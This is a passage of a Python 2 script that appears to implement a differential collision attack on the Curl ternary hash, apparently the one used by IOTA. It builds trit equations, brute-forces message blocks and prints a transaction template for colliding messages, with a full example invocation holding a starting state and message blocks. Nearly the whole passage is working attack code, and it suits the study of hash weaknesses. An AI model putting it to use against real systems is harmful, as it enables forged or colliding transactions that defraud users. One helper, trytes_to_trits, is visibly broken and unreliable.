722: (14, 357), 723: (12, 358), 724: (10, 359), 725: (8, 360), 726: (6, 361), 727: (4, 362), 728: (2, 363)} 10 | rarr = {0: (728, 365), 1: (726, 366), 2: (724, 367), 3: (722, 368), 4: (720, 369), 5: (718, 370), 6: (716, 371), 7: (714, 372), 8: (712, 373), 9: (710, 374), 10: (708, 375), 11: (706, 376), 12: (704, 377), 13: (702, 378), 14: (700, 379), 15: (698, 380), 16: (696, 381), 17: (694, 382), 18: (692, 383), 19: (690, 384), 20: (688, 385), 21: (686, 386), 22: (684, 387), 23: (682, 388), 24: (680, 389), 25: (678, 390), 26: (676, 391), 27: (674, 392), 28: (672, 393), 29: (670, 394), 30: (668, 395), 31: (666, 396), 32: (664, 397), 33: (662, 398), 34: (660, 399), 35: (658, 400), 36: (656, 401), 37: (654, 402), 38: (652, 403), 39: (650, 404), 40: (648, 405), 41: (646, 406), 42: (644, 407), 43: (642, 408), 44: (640, 409), 45: (638, 410), 46: (636, 411), 47: (634, 412), 48: (632, 413), 49: (630, 414), 50: (628, 415), 51: (626, 416), 52: (624, 417), 53: (622, 418), 54: (620, 419), 55: (618, 420), 56: (616, 421), 57: (614, 422), 58: (612, 423), 59: (610, 424), 60: (608, 425), 61: (606, 426), 62: (604, 427), 63: (602, 428), 64: (600, 429), 65: (598, 430), 66: (596, 431), 67: (594, 432), 68: (592, 433), 69: (590, 434), 70: (588, 435), 71: (586, 436), 72: (584, 437), 73: (582, 438), 74: (580, 439), 75: (578, 440), 76: (576, 441), 77: (574, 442), 78: (572, 443), 79: (570, 444), 80: (568, 445), 81: (566, 446), 82: (564, 447), 83: (562, 448), 84: (560, 449), 85: (558, 450), 86: (556, 451), 87: (554, 452), 88: (552, 453), 89: (550, 454), 90: (548, 455), 91: (546, 456), 92: (544, 457), 93: (542, 458), 94: (540, 459), 95: (538, 460), 96: (536, 461), 97: (534, 462), 98: (532, 463), 99: (530, 464), 100: (528, 465), 101: (526, 466), 102: (524, 467), 103: (522, 468), 104: (520, 469), 105: (518, 470), 106: (516, 471), 107: (514, 472), 108: (512, 473), 109: (510, 474), 110: (508, 475), 111: (506, 476), 112: (504, 477), 113: (502, 478), 114: (500, 479), 115: (498, 480), 116: (496, 481), 117: (494, 482), 118: (492, 483), 119: (490, 484), 120: (488, 485), 121: (486, 486), 122: (484, 487), 123: (482, 488), 124: (480, 489), 125: (478, 490), 126: (476, 491), 127: (474, 492), 128: (472, 493), 129: (470, 494), 130: (468, 495), 131: (466, 496), 132: (464, 497), 133: (462, 498), 134: (460, 499), 135: (458, 500), 136: (456, 501), 137: (454, 502), 138: (452, 503), 139: (450, 504), 140: (448, 505), 141: (446, 506), 142: (444, 507), 143: (442, 508), 144: (440, 509), 145: (438, 510), 146: (436, 511), 147: (434, 512), 148: (432, 513), 149: (430, 514), 150: (428, 515), 151: (426, 516), 152: (424, 517), 153: (422, 518), 154: (420, 519), 155: (418, 520), 156: (416, 521), 157: (414, 522), 158: (412, 523), 159: (410, 524), 160: (408, 525), 161: (406, 526), 162: (404, 527), 163: (402, 528), 164: (400, 529), 165: (398, 530), 166: (396, 531), 167: (394, 532), 168: (392, 533), 169: (390, 534), 170: (388, 535), 171: (386, 536), 172: (384, 537), 173: (382, 538), 174: (380, 539), 175: (378, 540), 176: (376, 541), 177: (374, 542), 178: (372, 543), 179: (370, 544), 180: (368, 545), 181: (366, 546), 182: (364, 547), 183: (362, 548), 184: (360, 549), 185: (358, 550), 186: (356, 551), 187: (354, 552), 188: (352, 553), 189: (350, 554), 190: (348, 555), 191: (346, 556), 192: (344, 557), 193: (342, 558), 194: (340, 559), 195: (338, 560), 196: (336, 561), 197: (334, 562), 198: (332, 563), 199: (330, 564), 200: (328, 565), 201: (326, 566), 202: (324, 567), 203: (322, 568), 204: (320, 569), 205: (318, 570), 206: (316, 571), 207: (314, 572), 208: (312, 573), 209: (310, 574), 210: (308, 575), 211: (306, 576), 212: (304, 577), 213: (302, 578), 214: (300, 579), 215: (298, 580), 216: (296, 581), 217: (294, 582), 218: (292, 583), 219: (290, 584), 220: (288, 585), 221: (286, 586), 222: (284, 587), 223: (282, 588), 224: (280, 589), 225: (278, 590), 226: (276, 591), 227: (274, 592), 228: (272, 593), 229: (270, 594), 230: (268, 595), 231: (266, 596), 232: (264, 597), 233: (262, 598), 234: (260, 599), 235: (258, 600), 236: (256, 601), 237: (254, 602), 238: (252, 603), 239: (250, 604), 240: (248, 605), 241: (246, 606), 242: (244, 607), 243: (242, 608), 244: (240, 609), 245: (238, 610), 246: (236, 611), 247: (234, 612), 248: (232, 613), 249: (230, 614), 250: (228, 615), 251: (226, 616), 252: (224, 617), 253: (222, 618), 254: (220, 619), 255: (218, 620), 256: (216, 621), 257: (214, 622), 258: (212, 623), 259: (210, 624), 260: (208, 625), 261: (206, 626), 262: (204, 627), 263: (202, 628), 264: (200, 629), 265: (198, 630), 266: (196, 631), 267: (194, 632), 268: (192, 633), 269: (190, 634), 270: (188, 635), 271: (186, 636), 272: (184, 637), 273: (182, 638), 274: (180, 639), 275: (178, 640), 276: (176, 641), 277: (174, 642), 278: (172, 643), 279: (170, 644), 280: (168, 645), 281: (166, 646), 282: (164, 647), 283: (162, 648), 284: (160, 649), 285: (158, 650), 286: (156, 651), 287: (154, 652), 288: (152, 653), 289: (150, 654), 290: (148, 655), 291: (146, 656), 292: (144, 657), 293: (142, 658), 294: (140, 659), 295: (138, 660), 296: (136, 661), 297: (134, 662), 298: (132, 663), 299: (130, 664), 300: (128, 665), 301: (126, 666), 302: (124, 667), 303: (122, 668), 304: (120, 669), 305: (118, 670), 306: (116, 671), 307: (114, 672), 308: (112, 673), 309: (110, 674), 310: (108, 675), 311: (106, 676), 312: (104, 677), 313: (102, 678), 314: (100, 679), 315: (98, 680), 316: (96, 681), 317: (94, 682), 318: (92, 683), 319: (90, 684), 320: (88, 685), 321: (86, 686), 322: (84, 687), 323: (82, 688), 324: (80, 689), 325: (78, 690), 326: (76, 691), 327: (74, 692), 328: (72, 693), 329: (70, 694), 330: (68, 695), 331: (66, 696), 332: (64, 697), 333: (62, 698), 334: (60, 699), 335: (58, 700), 336: (56, 701), 337: (54, 702), 338: (52, 703), 339: (50, 704), 340: (48, 705), 341: (46, 706), 342: (44, 707), 343: (42, 708), 344: (40, 709), 345: (38, 710), 346: (36, 711), 347: (34, 712), 348: (32, 713), 349: (30, 714), 350: (28, 715), 351: (26, 716), 352: (24, 717), 353: (22, 718), 354: (20, 719), 355: (18, 720), 356: (16, 721), 357: (14, 722), 358: (12, 723), 359: (10, 724), 360: (8, 725), 361: (6, 726), 362: (4, 727), 363: (2, 728), 364: (0, 0), 365: (727, 1), 366: (725, 2), 367: (723, 3), 368: (721, 4), 369: (719, 5), 370: (717, 6), 371: (715, 7), 372: (713, 8), 373: (711, 9), 374: (709, 10), 375: (707, 11), 376: (705, 12), 377: (703, 13), 378: (701, 14), 379: (699, 15), 380: (697, 16), 381: (695, 17), 382: (693, 18), 383: (691, 19), 384: (689, 20), 385: (687, 21), 386: (685, 22), 387: (683, 23), 388: (681, 24), 389: (679, 25), 390: (677, 26), 391: (675, 27), 392: (673, 28), 393: (671, 29), 394: (669, 30), 395: (667, 31), 396: (665, 32), 397: (663, 33), 398: (661, 34), 399: (659, 35), 400: (657, 36), 401: (655, 37), 402: (653, 38), 403: (651, 39), 404: (649, 40), 405: (647, 41), 406: (645, 42), 407: (643, 43), 408: (641, 44), 409: (639, 45), 410: (637, 46), 411: (635, 47), 412: (633, 48), 413: (631, 49), 414: (629, 50), 415: (627, 51), 416: (625, 52), 417: (623, 53), 418: (621, 54), 419: (619, 55), 420: (617, 56), 421: (615, 57), 422: (613, 58), 423: (611, 59), 424: (609, 60), 425: (607, 61), 426: (605, 62), 427: (603, 63), 428: (601, 64), 429: (599, 65), 430: (597, 66), 431: (595, 67), 432: (593, 68), 433: (591, 69), 434: (589, 70), 435: (587, 71), 436: (585, 72), 437: (583, 73), 438: (581, 74), 439: (579, 75), 440: (577, 76), 441: (575, 77), 442: (573, 78), 443: (571, 79), 444: (569, 80), 445: (567, 81), 446: (565, 82), 447: (563, 83), 448: (561, 84), 449: (559, 85), 450: (557, 86), 451: (555, 87), 452: (553, 88), 453: (551, 89), 454: (549, 90), 455: (547, 91), 456: (545, 92), 457: (543, 93), 458: (541, 94), 459: (539, 95), 460: (537, 96), 461: (535, 97), 462: (533, 98), 463: (531, 99), 464: (529, 100), 465: (527, 101), 466: (525, 102), 467: (523, 103), 468: (521, 104), 469: (519, 105), 470: (517, 106), 471: (515, 107), 472: (513, 108), 473: (511, 109), 474: (509, 110), 475: (507, 111), 476: (505, 112), 477: (503, 113), 478: (501, 114), 479: (499, 115), 480: (497, 116), 481: (495, 117), 482: (493, 118), 483: (491, 119), 484: (489, 120), 485: (487, 121), 486: (485, 122), 487: (483, 123), 488: (481, 124), 489: (479, 125), 490: (477, 126), 491: (475, 127), 492: (473, 128), 493: (471, 129), 494: (469, 130), 495: (467, 131), 496: (465, 132), 497: (463, 133), 498: (461, 134), 499: (459, 135), 500: (457, 136), 501: (455, 137), 502: (453, 138), 503: (451, 139), 504: (449, 140), 505: (447, 141), 506: (445, 142), 507: (443, 143), 508: (441, 144), 509: (439, 145), 510: (437, 146), 511: (435, 147), 512: (433, 148), 513: (431, 149), 514: (429, 150), 515: (427, 151), 516: (425, 152), 517: (423, 153), 518: (421, 154), 519: (419, 155), 520: (417, 156), 521: (415, 157), 522: (413, 158), 523: (411, 159), 524: (409, 160), 525: (407, 161), 526: (405, 162), 527: (403, 163), 528: (401, 164), 529: (399, 165), 530: (397, 166), 531: (395, 167), 532: (393, 168), 533: (391, 169), 534: (389, 170), 535: (387, 171), 536: (385, 172), 537: (383, 173), 538: (381, 174), 539: (379, 175), 540: (377, 176), 541: (375, 177), 542: (373, 178), 543: (371, 179), 544: (369, 180), 545: (367, 181), 546: (365, 182), 547: (363, 183), 548: (361, 184), 549: (359, 185), 550: (357, 186), 551: (355, 187), 552: (353, 188), 553: (351, 189), 554: (349, 190), 555: (347, 191), 556: (345, 192), 557: (343, 193), 558: (341, 194), 559: (339, 195), 560: (337, 196), 561: (335, 197), 562: (333, 198), 563: (331, 199), 564: (329, 200), 565: (327, 201), 566: (325, 202), 567: (323, 203), 568: (321, 204), 569: (319, 205), 570: (317, 206), 571: (315, 207), 572: (313, 208), 573: (311, 209), 574: (309, 210), 575: (307, 211), 576: (305, 212), 577: (303, 213), 578: (301, 214), 579: (299, 215), 580: (297, 216), 581: (295, 217), 582: (293, 218), 583: (291, 219), 584: (289, 220), 585: (287, 221), 586: (285, 222), 587: (283, 223), 588: (281, 224), 589: (279, 225), 590: (277, 226), 591: (275, 227), 592: (273, 228), 593: (271, 229), 594: (269, 230), 595: (267, 231), 596: (265, 232), 597: (263, 233), 598: (261, 234), 599: (259, 235), 600: (257, 236), 601: (255, 237), 602: (253, 238), 603: (251, 239), 604: (249, 240), 605: (247, 241), 606: (245, 242), 607: (243, 243), 608: (241, 244), 609: (239, 245), 610: (237, 246), 611: (235, 247), 612: (233, 248), 613: (231, 249), 614: (229, 250), 615: (227, 251), 616: (225, 252), 617: (223, 253), 618: (221, 254), 619: (219, 255), 620: (217, 256), 621: (215, 257), 622: (213, 258), 623: (211, 259), 624: (209, 260), 625: (207, 261), 626: (205, 262), 627: (203, 263), 628: (201, 264), 629: (199, 265), 630: (197, 266), 631: (195, 267), 632: (193, 268), 633: (191, 269), 634: (189, 270), 635: (187, 271), 636: (185, 272), 637: (183, 273), 638: (181, 274), 639: (179, 275), 640: (177, 276), 641: (175, 277), 642: (173, 278), 643: (171, 279), 644: (169, 280), 645: (167, 281), 646: (165, 282), 647: (163, 283), 648: (161, 284), 649: (159, 285), 650: (157, 286), 651: (155, 287), 652: (153, 288), 653: (151, 289), 654: (149, 290), 655: (147, 291), 656: (145, 292), 657: (143, 293), 658: (141, 294), 659: (139, 295), 660: (137, 296), 661: (135, 297), 662: (133, 298), 663: (131, 299), 664: (129, 300), 665: (127, 301), 666: (125, 302), 667: (123, 303), 668: (121, 304), 669: (119, 305), 670: (117, 306), 671: (115, 307), 672: (113, 308), 673: (111, 309), 674: (109, 310), 675: (107, 311), 676: (105, 312), 677: (103, 313), 678: (101, 314), 679: (99, 315), 680: (97, 316), 681: (95, 317), 682: (93, 318), 683: (91, 319), 684: (89, 320), 685: (87, 321), 686: (85, 322), 687: (83, 323), 688: (81, 324), 689: (79, 325), 690: (77, 326), 691: (75, 327), 692: (73, 328), 693: (71, 329), 694: (69, 330), 695: (67, 331), 696: (65, 332), 697: (63, 333), 698: (61, 334), 699: (59, 335), 700: (57, 336), 701: (55, 337), 702: (53, 338), 703: (51, 339), 704: (49, 340), 705: (47, 341), 706: (45, 342), 707: (43, 343), 708: (41, 344), 709: (39, 345), 710: (37, 346), 711: (35, 347), 712: (33, 348), 713: (31, 349), 714: (29, 350), 715: (27, 351), 716: (25, 352), 717: (23, 353), 718: (21, 354), 719: (19, 355), 720: (17, 356), 721: (15, 357), 722: (13, 358), 723: (11, 359), 724: (9, 360), 725: (7, 361), 726: (5, 362), 727: (3, 363), 728: (1, 364)} 11 | 12 | 13 | TOTALROUNDS = 27 14 | 15 | def crypt(pi, i): 16 | truth_table = [1, 0, -1, 1, -1, 0, -1, 1, 0] 17 | return truth_table[pi + (3 * i) + 4] 18 | 19 | 20 | def diffleftpath(loc, depth): 21 | x = loc 22 | pipath = [] 23 | for i in xrange(depth): 24 | x = index[x][0] 25 | pipath.append(x) 26 | return pipath 27 | 28 | def follow(arr): 29 | newarr = [] 30 | for x in arr: 31 | newarr.extend(index[x]) 32 | return newarr 33 | 34 | 35 | def calceq(depth, a=[364], b=[365]): 36 | for i in xrange(depth): 37 | a = follow(a) 38 | b = follow(b) 39 | results = [] 40 | results.extend(a) 41 | results.extend(b) 42 | return results 43 | 44 | def getparents(depth, x): 45 | if depth == 0: 46 | return [x] 47 | if depth == 1: 48 | return [index[x][0], index[x][1]] 49 | else: 50 | return calceq(depth-1, [index[x][0]], [index[x][1]]) 51 | 52 | 53 | def randommsg(length): return [randint(0,2)-1 for i in xrange(length)] 54 | 55 | 56 | def randomFromTemplate(template): 57 | randMB = randommsg(243) 58 | for i in xrange(243): 59 | if template[i] != 'x': 60 | randMB[i] = template[i] 61 | return randMB 62 | 63 | 64 | def setFancy(eqs1, eqs2): 65 | statelst = [] 66 | for i in eqs1: 67 | statelst.extend(i) 68 | for i in eqs2: 69 | statelst.extend(i) 70 | stateset = set([i for i in statelst]) 71 | return stateset 72 | 73 | 74 | def runeq(eqs, state): 75 | neweq = [] 76 | for i in xrange(0, len(eqs), 2): 77 | var1 = eqs[i] 78 | var2 = eqs[i+1] 79 | neweq.append(crypt(var1, var2)) 80 | return neweq 81 | 82 | 83 | def resolveeq(eqs, state): 84 | reducedeqs = [] 85 | for i in xrange(0, len(eqs), 2): 86 | pind = eqs[i] 87 | ind = eqs[i+1] 88 | reducedeqs.append(crypt(state[pind], state[ind])) 89 | return reducedeqs 90 | 91 | def solveeq(eqs, state): 92 | vareqs = resolveeq(eqs, state) 93 | while len(vareqs) > 1: 94 | vareqs = runeq(vareqs, state) 95 | return vareqs[0] 96 | 97 | def trytes_to_trits(trytes): 98 | trits = [] 99 | 100 | for tryte in trytes: 101 | if tryte == "9": 102 | trits.extends([0,0,0]) 103 | 104 | 105 | def fromTritStr(tritstr): 106 | tritarr = [] 107 | 108 | for i in tritstr: 109 | tritarr.append(int(i)-1) 110 | 111 | return tritarr 112 | 113 | def inc(trit): 114 | if trit == -1: 115 | return 0 116 | elif trit == 0: 117 | return 1 118 | elif trit == 1: 119 | return -1 120 | 121 | def inc2(trit1, trit2): 122 | if trit1 == 1: 123 | return inc(trit1), inc(trit2) 124 | else: 125 | return inc(trit1), trit2 126 | 127 | 128 | 129 | def incs(trits): 130 | newtrits = [] 131 | carry = True 132 | for i in xrange(len(trits)): 133 | if carry == True: 134 | newtrits.append(inc(trits[i])) 135 | else: 136 | newtrits.append(trits[i]) 137 | if trits[i] != 1: 138 | carry = False 139 | 140 | return newtrits 141 | 142 | def inTag(lst): 143 | lst2 = [] 144 | for i in lst: 145 | if 81 <= i and i < 81*2: 146 | lst2.append(i) 147 | return lst2 148 | 149 | def runst(msg, STATE, rounds=27): 150 | assert(len(msg) == 243) 151 | 152 | h = Curl() 153 | h._state = STATE[:] 154 | h._state [0:243] = msg[:] 155 | 156 | for r in xrange(rounds): 157 | h._transform(1) 158 | return h._state 159 | 160 | 161 | def valueTemplate(startingState, mb1, mb2, mb3, pos): 162 | depth = 9 163 | 164 | savedmb3 = mb3[:] 165 | 166 | # Create Eqs 167 | x=pos 168 | pathleft = [] 169 | pathright = [] 170 | lefteqs = [] 171 | righteqs = [] 172 | for i in xrange(depth): 173 | lpair = larr[x][1] 174 | lparents = getparents(i, lpair) 175 | lefteqs.append(lparents) 176 | x = larr[x][0] 177 | rpair = index[x-1%729][0] 178 | rparents = getparents(i, rpair) 179 | righteqs.append(rparents) 180 | pathleft.append(x) 181 | 182 | mb1rand = mb1[:] 183 | 184 | solved = False 185 | failtries = 0 186 | while not solved: 187 | failtries += 1 188 | mb1rand[81:2*81] = randommsg(81) 189 | 190 | # MB2 191 | state = runst(mb1rand, startingState) 192 | state = runst(mb2, state) 193 | 194 | 195 | if not (state[381] == 1 and state[382] == 1): 196 | continue 197 | if not ((state[564] == -1 and mb3[199] == -1) 198 | or (state[564] == -1 and mb3[199] == 0) 199 | or (state[564] == 0 and mb3[199] == 1)): 200 | continue 201 | if not ((mb3[199] == -1 and state[563] == -1) 202 | or (mb3[199] == -1 and state[563] == 0) 203 | or (mb3[199] == 0 and state[563] == 1)): 204 | continue 205 | 206 | mb3[85] = -1 207 | mb3[131] = -1 208 | state [0:243] = mb3[:] 209 | 210 | 211 | solved108 = False 212 | for w in xrange(3): 213 | if ((solveeq(lefteqs[2], state) == 1) and (solveeq(righteqs[2], state) == 1)): 214 | solved108 = True 215 | break 216 | else: 217 | state[108] = inc(state[108]) 218 | if solved108 == False: 219 | continue 220 | 221 | 222 | solved154 = False 223 | for w in xrange(3): 224 | if (solveeq(lefteqs[3], state) == 1): 225 | solved154 = True 226 | break 227 | else: 228 | state[154] = inc(state[154]) 229 | if solved154 == False: 230 | continue 231 | 232 | solved153 = False 233 | for w in xrange(3): 234 | if (solveeq(righteqs[3], state) == 1): 235 | solved153 = True 236 | break 237 | else: 238 | state[153] = inc(state[153]) 239 | if solved153 == False: 240 | continue 241 | print "solved3" 242 | 243 | solved4 = False 244 | for w in xrange(9): 245 | if (solveeq(lefteqs[4], state) == 1) and (solveeq(righteqs[4], state) == 1): 246 | solved4 = True 247 | break 248 | else: 249 | trit1, trit2 = inc2(state[85], state[131]) 250 | state[85] = trit1 251 | state[131] = trit2 252 | if solved4 == False: 253 | continue 254 | print "solved4" 255 | 256 | solved5 = False 257 | for w in xrange(3**3): 258 | if (solveeq(lefteqs[5], state) == 1) and (solveeq(righteqs[5], state) == 1): 259 | solved5 = True 260 | break 261 | else: 262 | trits = incs([state[119], state[142], state[97]]) 263 | state[119] = trits[0] 264 | state[142] = trits[1] 265 | state[97] = trits[2] 266 | 267 | if solved5 == False: 268 | continue 269 | 270 | print "solved5" 271 | solved6 = False 272 | for w in xrange(3**6): 273 | if (solveeq(lefteqs[6], state) == 1) and (solveeq(righteqs[6], state) == 1): 274 | solved6 = True 275 | break 276 | else: 277 | trits = incs([state[159], state[91], state[136], state[148], state[102], state[125]]) 278 | state[159] = trits[0] 279 | state[91] = trits[1] 280 | state[136] = trits[2] 281 | state[148] = trits[3] 282 | state[102] = trits[4] 283 | state[125] = trits[5] 284 | if solved6 == False: 285 | continue 286 | print "solved6" 287 | 288 | solved7 = False 289 | for w in xrange(3**7): 290 | if (solveeq(lefteqs[7], state) == 1) and (solveeq(righteqs[7], state) == 1): 291 | solved7 = True 292 | break 293 | else: 294 | trits = incs([state[82], state[128], state[105], state[151], state[117], state[88], state[111]]) 295 | state[82] = trits[0] 296 | state[128] = trits[1] 297 | state[105] = trits[2] 298 | state[151] = trits[3] 299 | state[117] = trits[4] 300 | state[88]= trits[5] 301 | state[111]= trits[6] 302 | if solved7 == False: 303 | continue 304 | print "solved7" 305 | 306 | solved8 = False 307 | for w in xrange(3**5): 308 | if (solveeq(lefteqs[8], state) == 1) and (solveeq(righteqs[8], state) == 1): 309 | solved8 = True 310 | break 311 | else: 312 | trits = incs([state[84], state[87], state[92], state[104], state[121]]) 313 | state[84] = trits[0] 314 | state[87] = trits[1] 315 | state[92] = trits[2] 316 | state[104] = trits[3] 317 | state[121] = trits[4] 318 | 319 | if solved8 == False: 320 | continue 321 | print "solved8" 322 | 323 | solved = True 324 | for i in xrange(1,depth): 325 | if not (solveeq(lefteqs[i], state) == 1): 326 | solved = False 327 | print "L", i, lefteqs[i], solveeq(lefteqs[i], state), [state[j] for j in lefteqs[i]] 328 | break 329 | 330 | if not (solveeq(righteqs[i], state) == 1): 331 | solved = False 332 | print "R", i, righteqs[i], solveeq(righteqs[i], state), [state[j] for j in righteqs[i]] 333 | break 334 | if solved == True: 335 | print "Solved", i 336 | template = state[0:243] 337 | ignoreSet = [] 338 | for ll in xrange(0, depth): 339 | ignoreSet = ignoreSet + lefteqs[ll]+righteqs[ll] 340 | for i in xrange(81, 2*81): 341 | if i in set(ignoreSet): 342 | template[i] = state[i] 343 | else: 344 | template[i] = 2 345 | template[pos] = 3 346 | return mb1rand, mb2, template 347 | 348 | def gentemplate(startingState, mb1, mb2, mb3): 349 | savedstate = startingState[:] 350 | assert(len(mb1) == 243); assert(len(mb2) == 243); assert(len(mb3) == 243) 351 | pos = 17 352 | (randmb1, mb2, mb3template) = valueTemplate(startingState, mb1, mb2, mb3, pos) 353 | print "tx_secondhalf = ", randmb1 354 | print "tx_template = ", mb2+mb3template 355 | 356 | 357 | def comparestates(s1, s2): 358 | for i in xrange(len(s1)): 359 | if s1[i] != s2[i]: 360 | print i, s1[i], s2[i] 361 | 362 | 363 | def testoutput(randmb1, mb2, mb3template, startingState, rounds): 364 | diffmb3 = [ randommsg(1)[0] if i == 2 else i for i in mb3template] 365 | 366 | state = runst(randmb1, startingState[:]) 367 | savedState = runst(mb2, state) 368 | 369 | diff1 = diffmb3[:] 370 | diff1[17] = 0 371 | state1 = runst(diff1, savedState[:], rounds) 372 | 373 | diff2 = diffmb3[:] 374 | diff2[17] = 1 375 | state2 = runst(diff2, savedState[:], rounds) 376 | 377 | for i in xrange(len(state1)): 378 | if not state1[i] == state2[i]: 379 | print i, state1[i], state2[i] 380 | 381 | 382 | def argparse(argv): 383 | arg_dict={} 384 | switches={'state':list,'1mb':list,'2mb':list, '3mb':list} 385 | singles=''.join([x[0]+':' for x in switches]) 386 | long_form=[x+'=' for x in switches] 387 | d={x[0]+':':'--'+x for x in switches} 388 | try: 389 | opts, args = getopt.getopt(argv, singles, long_form) 390 | except getopt.GetoptError: 391 | print "bad arg" 392 | sys.exit(2) 393 | 394 | for opt, arg in opts: 395 | if opt[1]+':' in d: o=d[opt[1]+':'][2:] 396 | elif opt in d.values(): o=opt[2:] 397 | else: o ='' 398 | if o and arg: 399 | arg_dict[o]=ast.literal_eval(arg) 400 | 401 | if not o or not isinstance(arg_dict[o], switches[o]): 402 | print opt, arg, " Error: bad arg" 403 | sys.exit(2) 404 | 405 | startingstate = arg_dict['state'] 406 | 407 | mb1 = arg_dict['1mb'] 408 | mb2 = arg_dict['2mb'] 409 | mb3 = arg_dict['3mb'] 410 | 411 | assert(len(mb1) == 243); assert(len(mb2) == 243); assert(len(mb3) == 243) 412 | 413 | return startingstate, mb1, mb2, mb3 414 | 415 | 416 | 417 | if __name__ == "__main__": 418 | # pypy trit17.py --state=[-1,1,0,1,1,0,0,0,-1,-1,0,0,1,0,1,-1,0,0,0,-1,0,-1,0,0,1,-1,1,1,1,1,0,-1,0,0,0,1,0,0,0,1,-1,0,0,0,1,1,1,1,0,-1,1,1,0,0,0,-1,1,0,-1,1,1,-1,0,0,1,1,1,0,0,-1,0,-1,-1,1,0,0,-1,1,0,1,-1,-1,1,1,1,-1,0,1,1,0,0,0,-1,1,0,1,-1,-1,0,-1,1,1,0,0,0,-1,0,-1,-1,0,0,0,1,0,0,0,0,-1,1,1,0,-1,1,1,0,0,-1,0,0,0,1,1,0,0,-1,1,0,-1,-1,-1,-1,1,1,0,1,-1,-1,-1,1,-1,1,-1,0,1,0,0,0,-1,1,0,-1,1,-1,-1,1,-1,0,1,1,0,-1,0,1,1,0,1,-1,-1,-1,1,-1,-1,1,0,1,-1,0,1,0,-1,-1,-1,-1,1,1,1,-1,0,0,0,-1,1,1,-1,-1,1,-1,0,1,0,-1,0,0,1,0,1,0,1,1,-1,1,-1,1,0,-1,-1,-1,-1,-1,1,-1,0,0,-1,1,1,-1,0,1,-1,0,0,0,-1,-1,-1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,-1,0,0,0,0,1,-1,1,-1,0,-1,1,-1,-1,1,-1,1,0,-1,-1,-1,0,-1,1,-1,-1,1,-1,0,0,1,-1,0,-1,1,1,-1,-1,-1,-1,1,1,0,1,0,0,1,0,-1,-1,-1,-1,0,-1,-1,1,1,1,1,0,-1,0,1,1,-1,1,-1,0,0,-1,-1,0,1,1,1,1,0,1,0,0,0,-1,-1,1,-1,1,1,-1,0,1,1,0,-1,-1,1,-1,1,1,1,1,-1,-1,1,-1,0,1,-1,0,0,0,-1,0,1,1,1,0,1,-1,1,0,1,-1,0,0,-1,-1,-1,1,0,0,1,1,-1,-1,1,0,1,0,1,-1,0,-1,-1,-1,0,0,1,0,-1,-1,-1,-1,1,-1,0,1,0,-1,-1,0,-1,-1,-1,1,0,0,1,0,-1,-1,1,1,1,0,-1,-1,-1,1,0,-1,-1,-1,1,1,-1,1,1,-1,-1,1,0,-1,1,0,-1,0,0,-1,0,1,1,1,0,-1,1,1,-1,-1,1,-1,0,-1,1,0,-1,-1,0,-1,0,0,1,1,0,0,0,-1,0,-1,1,-1,-1,1,0,-1,-1,0,-1,1,1,-1,-1,1,-1,0,0,0,1,-1,0,-1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,1,0,0,-1,1,1,1,1,1,1,0,-1,1,1,-1,-1,1,0,-1,-1,1,0,1,-1,1,-1,1,0,0,0,1,0,-1,-1,-1,1,1,-1,1,0,-1,1,-1,0,0,1,-1,1,-1,-1,0,1,0,0,-1,1,0,0,-1,1,1,-1,1,-1,0,1,1,1,1,-1,-1,-1,-1,-1,0,-1,0,-1,1,1,1,1,1,1,0,1,1,-1,0,0,1,0,0,1,1,1,-1,-1,1,-1,-1,0,0,-1,-1,-1,0,-1,1,-1,-1,-1,0,0,1,0,1,0,0,-1,0,0,1,0,1,1,0,-1,1,-1,-1,-1,-1,-1,0,1,-1,1,0,-1,-1,1,-1,0,-1,-1,0,1,1,1,-1,0,-1,-1,-1,0,1,1,-1,-1,-1,-1,0,-1,1,0,0,-1,0,0,0,-1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,1,-1,1,-1,0,-1,1,0,0,-1,-1,-1,-1,0,0,-1,-1,1,1,0] --1mb=[0,0,1,0,1,1,0,-1,-1,-1,-1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,-1,1,1,1,0,-1,1,0,0,-1,-1,-1,0,0,1,1,0,0,0,0,0,0,0,-1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] --2mb=[1,1,0,-1,1,1,0,-1,0,0,1,-1,0,-1,0,-1,0,-1,0,1,0,-1,-1,1,0,1,1,1,-1,1,1,0,0,1,0,0,-1,1,0,0,-1,1,0,-1,1,-1,1,-1,0,1,0,-1,-1,-1,1,-1,-1,-1,0,1,-1,1,-1,-1,1,-1,1,-1,1,-1,0,0,1,0,1,1,0,-1,0,1,-1,1,0,0,-1,1,-1,0,-1,1,1,-1,-1,0,1,-1,0,1,-1,-1,0,0,0,1,1,1,1,-1,0,0,1,0,0,1,0,0,-1,-1,0,1,-1,0,-1,1,-1,0,1,-1,1,1,-1,-1,0,-1,1,-1,1,1,0,0,-1,0,1,1,1,0,0,-1,1,-1,1,-1,0,-1,0,0,-1,0,0,0,1,-1,1,0,-1,1,1,0,0,1,-1,0,1,1,1,1,-1,-1,-1,0,0,1,-1,0,-1,0,0,-1,1,1,-1,1,-1,-1,-1,1,0,0,1,-1,0,-1,-1,-1,0,0,0,0,0,0,-1,-1,0,0,0,0,-1,0,0,-1,0,-1,1,0,-1,-1,-1,1,-1,-1,-1,1,0,-1,1,-1,-1,0,0,0,1,1,0] 